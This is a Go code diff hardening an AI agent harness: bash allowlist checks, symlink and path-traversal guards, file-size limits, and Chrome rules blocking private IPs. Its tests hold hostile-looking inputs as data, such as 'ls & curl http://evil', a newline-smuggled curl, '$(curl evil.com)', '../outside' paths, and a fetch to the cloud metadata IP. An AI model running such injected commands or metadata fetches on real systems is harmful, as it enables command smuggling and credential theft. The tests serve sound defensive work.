@@ -260,6 +325,7 @@ func (s *Store) Rewrite(sess *Session) {
f, err := os.Create(path)
if err != nil {
s.markDegraded("create session file for rewrite", err)
slog.Error("failed to create session file for rewrite", "error", err)
return
}
@@ -277,6 +343,7 @@ func (s *Store) Rewrite(sess *Session) {
}
if err := w.Flush(); err != nil {
s.markDegraded("flush session file", err)
slog.Error("failed to flush session file", "error", err)
}
}
+65
View File
@@ -0,0 +1,65 @@
package session
import (
"bytes"
"log/slog"
"os"
"path/filepath"
"strings"
"testing"
"github.com/stretchr/testify/require"
)
func TestStore_DegradedPersistenceWarnsOnce(t *testing.T) {
var buf bytes.Buffer
prev := slog.Default()
slog.SetDefault(slog.New(slog.NewTextHandler(&buf, &slog.HandlerOptions{Level: slog.LevelWarn})))
defer slog.SetDefault(prev)
// Make a path where the agent dir cannot be created: a regular FILE used
// as baseDir means sessionDir(agentID) = <file>/<agentID> and MkdirAll fails.
tmp := t.TempDir()
blocker := filepath.Join(tmp, "blocker")
require.NoError(t, os.WriteFile(blocker, []byte("x"), 0o600))
s := NewStore(blocker)
sess := &Session{AgentID: "a", Key: "k"}
s.AppendEntry(sess, SessionEntry{})
s.AppendEntry(sess, SessionEntry{})
s.AppendEntry(sess, SessionEntry{})
require.Equal(t, 1, strings.Count(buf.String(), "session persistence degraded"),
"degraded warning must fire exactly once across multiple failures")
}
func TestStore_RewriteDegradedWarns(t *testing.T) {
var buf bytes.Buffer
prev := slog.Default()
slog.SetDefault(slog.New(slog.NewTextHandler(&buf, &slog.HandlerOptions{Level: slog.LevelWarn})))
defer slog.SetDefault(prev)
tmp := t.TempDir()
blocker := filepath.Join(tmp, "blocker")
require.NoError(t, os.WriteFile(blocker, []byte("x"), 0o600))
s := NewStore(blocker)
sess := &Session{AgentID: "a", Key: "k"}
s.Rewrite(sess)
require.Equal(t, 1, strings.Count(buf.String(), "session persistence degraded"),
"Rewrite failure must emit the degraded warning")
}
func TestStoreRejectsPathTraversalIdentifiers(t *testing.T) {
s := NewStore(t.TempDir())
_, err := s.Load("../outside", "key")
require.ErrorContains(t, err, "invalid agent ID")
require.ErrorContains(t, s.Create("agent", "../outside"), "invalid session key")
require.ErrorContains(t, s.Rename("agent", "../old", "new"), "invalid session key")
require.ErrorContains(t, s.Delete("agent", "../outside"), "invalid session key")
require.False(t, s.Exists("agent", "../outside"))
_, err = s.List("../outside")
require.ErrorContains(t, err, "invalid agent ID")
}
+40 -4
View File
@@ -21,6 +21,10 @@ func Estimate(msgs []llm.Message, systemPrompt string, tools []llm.ToolDef) int
for _, tc := range m.ToolCalls {
total += len(tc.ID) + len(tc.Name) + len(tc.Input)
}
// Images are not part of Content (Images is json:"-"); approximate
// each attached image's token cost. perImageTokens is expressed in
// tokens, so multiply by 4 to survive the final divide-by-4.
total += len(m.Images) * perImageTokens * 4
}
for _, t := range tools {
total += len(t.Name) + len(t.Description) + len(t.Parameters)
@@ -33,6 +37,12 @@ func Estimate(msgs []llm.Message, systemPrompt string, tools []llm.ToolDef) int
// since the final divide-by-4 maps it back to tokens.
const perMessageOverhead = 3
// perImageTokens approximates the token cost of one attached image. Vision
// models bill images by tiles/resolution; ~1500 tokens is a deliberately
// conservative flat estimate so image-heavy sessions trigger preventive
// compaction rather than hitting a reactive overflow.
const perImageTokens = 1500
// ContextWindow returns the maximum input tokens for the given
// "provider/model" identifier.
//
@@ -110,8 +120,20 @@ func windowByModelFamily(modelID string) int {
leaf = leaf[i+1:]
}
switch {
case strings.Contains(id, "claude-fable"),
strings.Contains(id, "claude-mythos"),
strings.Contains(id, "claude-opus-4-6"),
strings.Contains(id, "claude-opus-4-7"),
strings.Contains(id, "claude-opus-4-8"),
strings.Contains(id, "claude-opus-4-9"),
strings.Contains(id, "claude-sonnet-4-6"):
// The 1M-window Claude generation: Fable 5, Mythos 5,
// Opus 4.6+, Sonnet 4.6. Matching the 200k blanket rule below
// would make preventive compaction fire ~5x too early.
return 1000000
case strings.Contains(id, "claude"):
// All current Claude chat models share a 200k window.
// Older Claude chat models (3.x through the 4.5 era, Haiku 4.5)
// share a 200k window.
return 200000
case strings.HasPrefix(leaf, "gpt-4o"), strings.HasPrefix(leaf, "gpt-4-turbo"):
return 128000
@@ -119,10 +141,24 @@ func windowByModelFamily(modelID string) int {
return 8192
case strings.HasPrefix(leaf, "gpt-3.5"):
return 16385
case strings.Contains(id, "gemini-1.5-pro"):
case strings.Contains(id, "gemini") && strings.Contains(id, "pro"):
// Every "Pro"-tier Gemini release so far (1.5 Pro onward) has
// shipped the largest window in its generation. Matching on the
// tier rather than enumerating each version keeps a future Pro
// release (2.5, 3, ...) from falling through to the
// flash/other-tier case below, let alone all the way to
// defaultRemoteUnknownWindow.
return 2000000
case strings.Contains(id, "gemini-1.5-flash"),
strings.Contains(id, "gemini-2"):
case strings.Contains(id, "gemini"):
// Every non-Pro Gemini model since 1.5 (Flash and other tiers)
// has shipped at least a 1M window. Matching on the family alone
// — not "gemini-1.5-flash"/"gemini-2" by exact version — means a
// new Gemini generation (3.x and beyond) gets a realistic window
// immediately instead of silently falling back to
// defaultRemoteUnknownWindow (128k), which made preventive
// compaction fire far too early and the context-usage gauge
// read a nonsensical >100% for a model this table simply hadn't
// been updated for yet.
return 1000000
}
return 0
+65 -1
View File
@@ -4,6 +4,7 @@ import (
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/sausheong/harness/llm"
)
@@ -51,6 +52,29 @@ func TestContextWindowKnown(t *testing.T) {
}
}
// Regression: a Gemini generation newer than the ones explicitly
// enumerated (3.x and beyond) must not fall through to
// defaultRemoteUnknownWindow (128k) just because this table hasn't been
// updated with its exact version string yet — every non-Pro Gemini
// model since 1.5 has shipped at least a 1M window, and every Pro-tier
// release has shipped at least 2M.
func TestContextWindowGeminiFutureGenerationsDefaultByTier(t *testing.T) {
tests := []struct {
model string
want int
}{
{"openai/gemini-3.8-flash-global", 1000000}, // proxied under an unrelated provider label, as via a LiteLLM gateway
{"google/gemini-3-flash", 1000000},
{"google/gemini-3-pro", 2000000},
{"google/gemini-4.0-flash-lite", 1000000},
}
for _, tc := range tests {
t.Run(tc.model, func(t *testing.T) {
assert.Equal(t, tc.want, ContextWindow(tc.model))
})
}
}
func TestContextWindowUnknownRemoteReturnsRemoteFallback(t *testing.T) {
// Non-local unknown models default to 128k — frontier proxies are
// overwhelmingly 128k+, and reactive compaction handles overflow.
@@ -84,7 +108,7 @@ func TestContextWindowProxyProviderDetectedByModelFamily(t *testing.T) {
model string
want int
}{
{"platformai/claude-sonnet-4-6-asia-southeast1", 200000},
{"platformai/claude-sonnet-4-6-asia-southeast1", 1000000},
{"openrouter/anthropic/claude-3-opus", 200000},
{"bedrock/anthropic.claude-3-haiku", 200000},
{"vertex/gemini-1.5-pro-001", 2000000},
@@ -97,6 +121,17 @@ func TestContextWindowProxyProviderDetectedByModelFamily(t *testing.T) {
}
}
func TestEstimate_CountsImages(t *testing.T) {
textOnly := []llm.Message{{Role: "user", Content: "hello"}}
withImg := []llm.Message{{Role: "user", Content: "hello", Images: []llm.ImageContent{
{MimeType: "image/png", Data: []byte("x")},
{MimeType: "image/png", Data: []byte("y")},
}}}
base := Estimate(textOnly, "", nil)
withImages := Estimate(withImg, "", nil)
require.GreaterOrEqual(t, withImages-base, 2*perImageTokens)
}
func TestContextWindowOllamaDefault(t *testing.T) {
// Without RegisterOllamaContext call, ollama models fall back to a sane default
assert.Equal(t, 32000, ContextWindow("local/qwen2.5:3b-instruct"))
@@ -135,3 +170,32 @@ func TestCalibratorIgnoresZeroOrNegative(t *testing.T) {
c.Update(-5, 100)
assert.Equal(t, 100, c.Adjust(100), "bad samples must be ignored")
}
// TestContextWindow1MClaudeFamily pins the 1M-window Claude generation:
// Fable 5, Mythos 5, Opus 4.6+, and Sonnet 4.6 all ship a 1M context
// window. The old blanket claude→200k rule made compaction fire ~5x too
// early on these models. Older Claude (3.x, 4.0-4.5 era) stays 200k.
func TestContextWindow1MClaudeFamily(t *testing.T) {
tests := []struct {
model string
want int
}{
{"anthropic/claude-fable-5", 1000000},
{"platformai/claude-fable-5-global", 1000000},
{"anthropic/claude-mythos-5", 1000000},
{"anthropic/claude-opus-4-6", 1000000},
{"anthropic/claude-opus-4-7", 1000000},
{"anthropic/claude-opus-4-8", 1000000},
{"platformai/claude-sonnet-4-6-asia-southeast1", 1000000},
// Older generations keep 200k.
{"anthropic/claude-haiku-4-5-20251001", 200000},
{"anthropic/claude-sonnet-4-5", 200000},
{"anthropic/claude-3-5-sonnet-20241022", 200000},
{"anthropic/claude-opus-4-0-20250514", 200000},
}
for _, tc := range tests {
t.Run(tc.model, func(t *testing.T) {
assert.Equal(t, tc.want, ContextWindow(tc.model))
})
}
}
+40
View File
@@ -0,0 +1,40 @@
package tool
import (
"fmt"
"os"
"path/filepath"
)
// WriteFileAtomic writes data to path atomically: it writes to a temp file in
// the same directory, fsyncs, sets perm, then renames over path. A crash
// mid-write leaves either the old file or the complete new file, never a
// truncated one. The rename is atomic on POSIX within a single filesystem.
func WriteFileAtomic(path string, data []byte, perm os.FileMode) error {
dir := filepath.Dir(path)
tmp, err := os.CreateTemp(dir, ".tmp-"+filepath.Base(path)+"-*")
if err != nil {
return fmt.Errorf("create temp: %w", err)
}
tmpName := tmp.Name()
defer func() { _ = os.Remove(tmpName) }()
if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
return fmt.Errorf("write temp: %w", err)
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
return fmt.Errorf("sync temp: %w", err)
}
if err := tmp.Close(); err != nil {
return fmt.Errorf("close temp: %w", err)
}
if err := os.Chmod(tmpName, perm); err != nil {
return fmt.Errorf("chmod temp: %w", err)
}
if err := os.Rename(tmpName, path); err != nil {
return fmt.Errorf("rename temp: %w", err)
}
return nil
}
+33
View File
@@ -0,0 +1,33 @@
package tool
import (
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestWriteFileAtomic(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "out.txt")
require.NoError(t, WriteFileAtomic(path, []byte("hello"), 0o600))
data, err := os.ReadFile(path)
require.NoError(t, err)
require.Equal(t, "hello", string(data))
info, err := os.Stat(path)
require.NoError(t, err)
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
require.NoError(t, WriteFileAtomic(path, []byte("world"), 0o644))
data, _ = os.ReadFile(path)
require.Equal(t, "world", string(data))
entries, err := os.ReadDir(dir)
require.NoError(t, err)
require.Len(t, entries, 1)
require.Equal(t, "out.txt", entries[0].Name())
}
+12 -3
View File
@@ -291,14 +291,24 @@ func ValidatePathInWorkDir(path, workDir string) error {
realWork = absWork // workspace might not exist yet
}
// For the target path, resolve the parent directory (file may not exist yet)
// Resolve an existing target itself so a final-component symlink cannot
// escape the workspace. For a path that does not exist yet, resolve its
// parent directory instead so callers can safely create a new file.
realPath, targetErr := filepath.EvalSymlinks(absPath)
if targetErr == nil {
if !strings.HasPrefix(realPath, realWork+string(filepath.Separator)) && realPath != realWork {
return fmt.Errorf("path %q is outside workspace %q", path, workDir)
}
return nil
}
parentDir := filepath.Dir(absPath)
realParent, err := filepath.EvalSymlinks(parentDir)
if err != nil {
// Parent doesn't exist — use the unresolved absolute path
realParent = parentDir
}
realPath := filepath.Join(realParent, filepath.Base(absPath))
realPath = filepath.Join(realParent, filepath.Base(absPath))
if !strings.HasPrefix(realPath, realWork+string(filepath.Separator)) && realPath != realWork {
return fmt.Errorf("path %q is outside workspace %q", path, workDir)
@@ -313,4 +323,3 @@ func ValidatePathInWorkDir(path, workDir string) error {
func RegisterCron(reg *Registry, agentID string, scheduler JobScheduler) {
reg.Register(&CronTool{AgentID: agentID, Scheduler: scheduler})
}
+21 -11
View File
@@ -11,6 +11,7 @@ import (
"runtime"
"strings"
"time"
"github.com/sausheong/harness/tool"
)
@@ -57,8 +58,7 @@ func resolveBashCommandPaths(cmd string) (string, [][2]string) {
return out, subs
}
// shellSingleQuote wraps s in single quotes, escaping any embedded single
// quotes via the standard '\'' dance.
// shellSingleQuote wraps s in single quotes, safely escaping embedded quotes.
func shellSingleQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'"
}
@@ -83,7 +83,7 @@ const defaultBashTimeout = 120 * time.Second
// ExecPolicy controls which commands the bash tool is allowed to execute.
type ExecPolicy struct {
Level string // "deny", "allowlist", "full"
Level string // "deny", "allowlist", "full"; any other value denies execution
Allowlist []string // command basenames allowed when Level is "allowlist"
}
@@ -132,10 +132,12 @@ func extractCommands(cmd string) []string {
// Find the earliest operator
minIdx := len(remaining)
opLen := 0
for _, op := range []string{"&&", "||", "|", ";"} {
if idx := strings.Index(remaining, op); idx != -1 && idx < minIdx {
minIdx = idx
opLen = len(op)
for _, op := range []string{"&&", "||", "|", ";", "&"} {
if idx := strings.Index(remaining, op); idx != -1 {
if idx < minIdx || (idx == minIdx && len(op) > opLen) {
minIdx = idx
opLen = len(op)
}
}
}
@@ -190,9 +192,14 @@ func (t *BashTool) Execute(ctx context.Context, input json.RawMessage) (tool.Too
case "deny":
return tool.ToolResult{Error: "bash execution is disabled by policy"}, nil
case "allowlist":
// Block shell metacharacters that can execute arbitrary code
// inside an otherwise-allowed command (e.g. ls $(curl evil.com))
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\\n"} {
// Block shell metacharacters that can execute arbitrary code or
// write files inside an otherwise-allowed command. Covers command
// substitution (e.g. ls $(curl evil.com)), real newline/CR bytes
// (bash -c treats them as command separators, so trailing lines
// would run unvalidated), and output redirection (">" matches ">",
// ">>", "2>", "&>", "2>&1" — all write/overwrite primitives).
// Input redirection "<" is intentionally allowed (not a write/exec bypass).
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\n", "\r", ">"} {
if strings.Contains(in.Command, meta) {
return tool.ToolResult{Error: "command contains shell metacharacters not allowed in allowlist mode"}, nil
}
@@ -207,8 +214,11 @@ func (t *BashTool) Execute(ctx context.Context, input json.RawMessage) (tool.Too
return tool.ToolResult{Error: fmt.Sprintf("command %q is not in the exec allowlist", cmd)}, nil
}
}
case "full":
// Explicitly unrestricted.
default:
return tool.ToolResult{Error: fmt.Sprintf("invalid bash execution policy %q; execution denied", t.ExecPolicy.Level)}, nil
}
// "full" or unrecognized: allow everything
}
timeout := defaultBashTimeout
+89 -4
View File
@@ -1,13 +1,63 @@
package bash
import (
"context"
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/sausheong/harness/tool"
)
// runAllowlist executes cmd under an allowlist policy and returns the
// ToolResult.Error (empty string = the command was permitted by policy).
func runAllowlist(t *testing.T, allow []string, command string) string {
t.Helper()
bt := &BashTool{ExecPolicy: &ExecPolicy{Level: "allowlist", Allowlist: allow}}
in, err := json.Marshal(bashInput{Command: command})
if err != nil {
t.Fatalf("marshal: %v", err)
}
res, err := bt.Execute(context.Background(), in)
if err != nil {
t.Fatalf("Execute returned a Go error (should use ToolResult.Error): %v", err)
}
return res.Error
}
func TestExtractCommands_BackgroundAmpersand(t *testing.T) {
// "ls & curl ..." must validate BOTH sides; curl is not allowed →
// rejected by policy BEFORE any command executes. Asserting the policy
// rejection message (not just a non-empty Error) is essential: without
// the fix, curl actually runs and its own runtime stderr lands in
// res.Error, which would mask the bypass.
got := runAllowlist(t, []string{"ls"}, "ls & curl http://evil")
if !strings.Contains(got, "not in the exec allowlist") {
t.Fatalf("background-& bypass: expected allowlist rejection of curl, got %q", got)
}
// "ls && echo hi" must still split on && (both allowed) → permitted.
if got := runAllowlist(t, []string{"ls", "echo"}, "ls && echo hi"); got != "" {
t.Fatalf("&& chain wrongly rejected: %q", got)
}
}
func TestUnknownExecPolicyFailsClosed(t *testing.T) {
bt := &BashTool{ExecPolicy: &ExecPolicy{Level: "allowlits", Allowlist: []string{"echo"}}}
in, err := json.Marshal(bashInput{Command: "echo should-not-run"})
if err != nil {
t.Fatal(err)
}
res, err := bt.Execute(context.Background(), in)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(res.Error, "invalid bash execution policy") {
t.Fatalf("unknown policy must fail closed, got %q", res.Error)
}
}
func TestSanitizeLLMText(t *testing.T) {
tests := []struct {
name string
@@ -51,10 +101,10 @@ func TestResolveBashCommandPaths(t *testing.T) {
}
tests := []struct {
name string
cmd string
wantCmd string
wantSubs int
name string
cmd string
wantCmd string
wantSubs int
}{
{
name: "backslash-escaped path with ascii spaces resolves to nbsp file",
@@ -142,3 +192,38 @@ func TestResolveExistingPath(t *testing.T) {
})
}
}
func TestAllowlist_RejectsNewlineCRAndRedirection(t *testing.T) {
allow := []string{"ls", "echo", "cat"}
const metaMsg = "shell metacharacters not allowed"
// The live exploit: a real newline runs a second, unvalidated line.
if got := runAllowlist(t, allow, "ls\ncurl http://evil"); !strings.Contains(got, metaMsg) {
t.Fatalf("newline bypass: expected metacharacter rejection, got %q", got)
}
// Carriage return likewise.
if got := runAllowlist(t, allow, "ls\rcurl http://evil"); !strings.Contains(got, metaMsg) {
t.Fatalf("CR bypass: expected metacharacter rejection, got %q", got)
}
// Redirection write-primitive (allowed cmd overwriting a file).
if got := runAllowlist(t, allow, "echo hi > /tmp/s1_x"); !strings.Contains(got, metaMsg) {
t.Fatalf("redirection > not rejected, got %q", got)
}
if got := runAllowlist(t, allow, "echo hi >> /tmp/s1_x"); !strings.Contains(got, metaMsg) {
t.Fatalf("append redirection >> not rejected, got %q", got)
}
// fd redirection also contains '>' so it is caught too.
if got := runAllowlist(t, allow, "cat a 2>&1"); !strings.Contains(got, metaMsg) {
t.Fatalf("fd redirection 2>&1 not rejected, got %q", got)
}
// Sanity: a plain allowed command still passes the policy gate.
if got := runAllowlist(t, allow, "ls -l"); got != "" {
t.Fatalf("plain allowed command wrongly rejected: %q", got)
}
// Sanity: input redirection '<' is NOT blocked (deliberate scope boundary);
// cat is allowed so policy permits it (it may still fail at runtime if the
// file is missing, but it must NOT be a policy rejection).
if got := runAllowlist(t, allow, "cat < /etc/hostname"); strings.Contains(got, "metacharacters") || strings.Contains(got, "not in the exec allowlist") {
t.Fatalf("input redirection wrongly rejected by policy: %q", got)
}
}
+24 -1
View File
@@ -36,6 +36,24 @@ const (
janitorInterval = 1 * time.Minute
)
// hostResolverRules forces Chrome to fail DNS resolution for private/internal
// IP ranges and localhost, so in-page fetch() and evaluate()'d JS cannot reach
// cloud-metadata endpoints or localhost services — the Go-side
// ValidateURLNotInternal check only sees the top-level URL, so this covers
// sub-resource and script-initiated requests. (S3)
//
// Residual gap: name-based rules do not stop a page that dials a *literal*
// private IP URL in some Chrome builds; the complete fix is an allowlisting
// proxy (deferred). See the security-deeper spec's limitations section.
const hostResolverRules = "MAP localhost ~NOTFOUND," +
"MAP *.localhost ~NOTFOUND," +
"MAP 127.0.0.0/8 ~NOTFOUND," +
"MAP 10.0.0.0/8 ~NOTFOUND," +
"MAP 172.16.0.0/12 ~NOTFOUND," +
"MAP 169.254.0.0/16 ~NOTFOUND," +
"MAP 192.168.0.0/16 ~NOTFOUND," +
"MAP [::1] ~NOTFOUND"
// stealthScript runs before any page script on every new document. It hides the
// most common headless/automation tells that JS-heavy sites use to refuse to
// render content (Cloudflare, Akamai, anti-bot scripts, "please enable JS"
@@ -271,6 +289,10 @@ func (t *BrowserTool) Execute(ctx context.Context, input json.RawMessage) (tool.
if in.Script == "" {
return tool.ToolResult{Error: "script is required for evaluate action"}, nil
}
case "navigate", "get_text", "screenshot":
// No additional required fields beyond the checks above.
default:
return tool.ToolResult{Error: fmt.Sprintf("unknown action: %q (valid: navigate, click, type, get_text, screenshot, evaluate, close)", in.Action)}, nil
}
// Catch the about:blank trap: any post-navigation action (screenshot,
@@ -372,7 +394,7 @@ func (t *BrowserTool) getOrCreateSession(name string) (*browserSession, error) {
// both — wrap it.
sess := &browserSession{
taskCtx: taskCtx,
taskCancel: cleanup, // cleanup tears down both task + alloc
taskCancel: cleanup, // cleanup tears down both task + alloc
allocCancel: func() {}, // no-op; cleanup already covers alloc
lastUsed: time.Now(),
}
@@ -474,6 +496,7 @@ func launchBrowser(parent context.Context) (context.Context, context.CancelFunc,
chromedp.UserAgent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"),
chromedp.Flag("disable-blink-features", "AutomationControlled"),
chromedp.Flag("lang", "en-US"),
chromedp.Flag("host-resolver-rules", hostResolverRules),
chromedp.UserDataDir(udd),
)...,
)
+44
View File
@@ -0,0 +1,44 @@
//go:build live
package browser
import (
"context"
"testing"
"time"
"github.com/chromedp/cdproto/runtime"
"github.com/chromedp/chromedp"
"github.com/stretchr/testify/require"
)
// TestInPageFetchPrivateIPBlocked_Live verifies host-resolver-rules stops an
// in-page fetch to a metadata IP. Requires a real Chrome. Run:
// go test -tags live ./tools/browser/ -run TestInPageFetchPrivateIPBlocked_Live
func TestInPageFetchPrivateIPBlocked_Live(t *testing.T) {
tool := NewBrowserTool()
defer tool.Shutdown()
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
defer cancel()
taskCtx, ccancel, err := launchBrowser(ctx)
require.NoError(t, err)
defer ccancel()
require.NoError(t, chromedp.Run(taskCtx, chromedp.Navigate("https://example.com")))
var result string
script := `(async () => {
try {
await fetch('http://169.254.169.254/latest/meta-data/', {mode:'no-cors'});
return 'REACHED';
} catch (e) {
return 'BLOCKED';
}
})()`
err = chromedp.Run(taskCtx, chromedp.Evaluate(script, &result, func(p *runtime.EvaluateParams) *runtime.EvaluateParams {
return p.WithAwaitPromise(true)
}))
require.NoError(t, err)
require.Equal(t, "BLOCKED", result, "in-page fetch to metadata IP must be blocked by host-resolver-rules")
}
+11
View File
@@ -4,12 +4,23 @@ import (
"context"
"encoding/json"
"fmt"
"strings"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestHostResolverRules_BlocksPrivateRanges(t *testing.T) {
require.Contains(t, hostResolverRules, "127.0.0.0/8")
require.Contains(t, hostResolverRules, "169.254.0.0/16")
require.Contains(t, hostResolverRules, "10.0.0.0/8")
require.Contains(t, hostResolverRules, "192.168.0.0/16")
require.Contains(t, hostResolverRules, "172.16.0.0/12")
require.Contains(t, hostResolverRules, "localhost")
require.True(t, strings.Contains(hostResolverRules, "~NOTFOUND"))
}
func TestBrowserToolName(t *testing.T) {
tool := &BrowserTool{}
assert.Equal(t, "browser", tool.Name())
+14 -2
View File
@@ -52,7 +52,7 @@ func (t *EditFileTool) Parameters() json.RawMessage {
// IsConcurrencySafe returns false — edit_file mutates the filesystem.
func (t *EditFileTool) IsConcurrencySafe(_ json.RawMessage) bool { return false }
func (t *EditFileTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
func (t *EditFileTool) Execute(ctx context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in editFileInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
@@ -74,6 +74,14 @@ func (t *EditFileTool) Execute(_ context.Context, input json.RawMessage) (tool.T
}
}
if err := ctx.Err(); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
if msg := checkFileSize(in.Path, int64(maxTextFileSize), "text"); msg != "" {
return tool.ToolResult{Error: msg}, nil
}
data, err := os.ReadFile(in.Path)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to read file: %v", err)}, nil
@@ -91,7 +99,11 @@ func (t *EditFileTool) Execute(_ context.Context, input json.RawMessage) (tool.T
newContent := strings.Replace(content, in.OldString, in.NewString, 1)
if err := os.WriteFile(in.Path, []byte(newContent), 0o644); err != nil {
mode := os.FileMode(0o600)
if info, statErr := os.Stat(in.Path); statErr == nil {
mode = info.Mode().Perm()
}
if err := tool.WriteFileAtomic(in.Path, []byte(newContent), mode); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to write file: %v", err)}, nil
}
+34
View File
@@ -0,0 +1,34 @@
package file
import (
"context"
"encoding/json"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestEditFilePreservesMode(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "code.txt")
require.NoError(t, os.WriteFile(path, []byte("alpha beta"), 0o640))
tool := &EditFileTool{WorkDir: dir}
in, _ := json.Marshal(map[string]string{
"path": path,
"old_string": "alpha",
"new_string": "gamma",
})
res, err := tool.Execute(context.Background(), in)
require.NoError(t, err)
require.Empty(t, res.Error)
data, _ := os.ReadFile(path)
require.Equal(t, "gamma beta", string(data))
info, err := os.Stat(path)
require.NoError(t, err)
require.Equal(t, os.FileMode(0o640), info.Mode().Perm())
}
+24
View File
@@ -48,6 +48,30 @@ func TestReadFileToolWorkDirClamps(t *testing.T) {
"reads outside the workspace must be rejected when WorkDir is set")
}
func TestReadFileToolWorkDirRejectsEscapingFileSymlink(t *testing.T) {
workspace := t.TempDir()
outside := filepath.Join(t.TempDir(), "secret.txt")
require.NoError(t, os.WriteFile(outside, []byte("nope"), 0o644))
link := filepath.Join(workspace, "secret-link")
require.NoError(t, os.Symlink(outside, link))
readTool := &ReadFileTool{WorkDir: workspace}
input, _ := json.Marshal(readFileInput{Path: link})
result, err := readTool.Execute(context.Background(), input)
require.NoError(t, err)
assert.Contains(t, result.Error, "outside workspace")
assert.Empty(t, result.Output)
writeTool := &WriteFileTool{WorkDir: workspace}
writeInput, _ := json.Marshal(writeFileInput{Path: link, Content: "overwritten"})
result, err = writeTool.Execute(context.Background(), writeInput)
require.NoError(t, err)
assert.Contains(t, result.Error, "outside workspace")
data, readErr := os.ReadFile(outside)
require.NoError(t, readErr)
assert.Equal(t, "nope", string(data))
}
func TestWriteFileTool(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "subdir", "output.txt")
+27
View File
@@ -0,0 +1,27 @@
package file
import (
"fmt"
"os"
)
const (
maxTextFileSize = 10 * 1024 * 1024 // 10 MB
maxImageFileSize = 5 * 1024 * 1024 // 5 MB
)
// checkFileSize stats path and returns a non-empty error string if the file
// exceeds limit. kind is "text" or "image" for the message. Empty return means
// within bounds (or stat failed, in which case the caller's read surfaces the
// real error).
func checkFileSize(path string, limit int64, kind string) string {
fi, err := os.Stat(path)
if err != nil {
return ""
}
if fi.Size() > limit {
return fmt.Sprintf("file too large: %d bytes exceeds the %d byte limit for %s files; read a specific range or use a different tool",
fi.Size(), limit, kind)
}
return ""
}
+26 -3
View File
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
"io"
"os"
"path/filepath"
"strings"
@@ -71,7 +72,7 @@ func detectImageMIMEFromBytes(data []byte, hint string) string {
// IsConcurrencySafe returns true — read_file is a pure read.
func (t *ReadFileTool) IsConcurrencySafe(_ json.RawMessage) bool { return true }
func (t *ReadFileTool) Execute(_ context.Context, input json.RawMessage) (tool.ToolResult, error) {
func (t *ReadFileTool) Execute(ctx context.Context, input json.RawMessage) (tool.ToolResult, error) {
var in readFileInput
if err := json.Unmarshal(input, &in); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("invalid input: %v", err)}, nil
@@ -93,13 +94,35 @@ func (t *ReadFileTool) Execute(_ context.Context, input json.RawMessage) (tool.T
}
}
data, err := os.ReadFile(in.Path)
if err := ctx.Err(); err != nil {
return tool.ToolResult{Error: err.Error()}, nil
}
ext := strings.ToLower(filepath.Ext(in.Path))
limit := int64(maxTextFileSize)
kind := "text"
if _, isImg := imageExtMap[ext]; isImg {
limit = int64(maxImageFileSize)
kind = "image"
}
if msg := checkFileSize(in.Path, limit, kind); msg != "" {
return tool.ToolResult{Error: msg}, nil
}
f, err := os.Open(in.Path)
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to read file: %v", err)}, nil
}
defer f.Close()
data, err := io.ReadAll(io.LimitReader(f, limit+1))
if err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to read file: %v", err)}, nil
}
if int64(len(data)) > limit {
return tool.ToolResult{Error: fmt.Sprintf("file too large: exceeds the %d byte limit for %s files; read a specific range or use a different tool", limit, kind)}, nil
}
// Check if this is an image file
ext := strings.ToLower(filepath.Ext(in.Path))
if mimeType, ok := imageExtMap[ext]; ok {
mimeType = detectImageMIMEFromBytes(data, mimeType)
return tool.ToolResult{
+86
View File
@@ -0,0 +1,86 @@
package file
import (
"context"
"encoding/json"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func writeSized(t *testing.T, dir, name string, n int) string {
t.Helper()
p := filepath.Join(dir, name)
require.NoError(t, os.WriteFile(p, make([]byte, n), 0o600))
return p
}
func TestReadFile_RejectsOversizedText(t *testing.T) {
dir := t.TempDir()
p := writeSized(t, dir, "big.txt", maxTextFileSize+1)
tool := &ReadFileTool{}
in, _ := json.Marshal(map[string]string{"path": p})
res, err := tool.Execute(context.Background(), in)
require.NoError(t, err)
require.Contains(t, res.Error, "too large")
}
func TestReadFile_AllowsNormalText(t *testing.T) {
dir := t.TempDir()
p := filepath.Join(dir, "ok.txt")
require.NoError(t, os.WriteFile(p, []byte("hello"), 0o600))
tool := &ReadFileTool{}
in, _ := json.Marshal(map[string]string{"path": p})
res, err := tool.Execute(context.Background(), in)
require.NoError(t, err)
require.Empty(t, res.Error)
require.Equal(t, "hello", res.Output)
}
func TestReadFile_RejectsOversizedImage(t *testing.T) {
dir := t.TempDir()
p := writeSized(t, dir, "big.png", maxImageFileSize+1)
tool := &ReadFileTool{}
in, _ := json.Marshal(map[string]string{"path": p})
res, err := tool.Execute(context.Background(), in)
require.NoError(t, err)
require.Contains(t, res.Error, "too large")
}
func TestEditFile_RejectsOversized(t *testing.T) {
dir := t.TempDir()
p := writeSized(t, dir, "big.txt", maxTextFileSize+1)
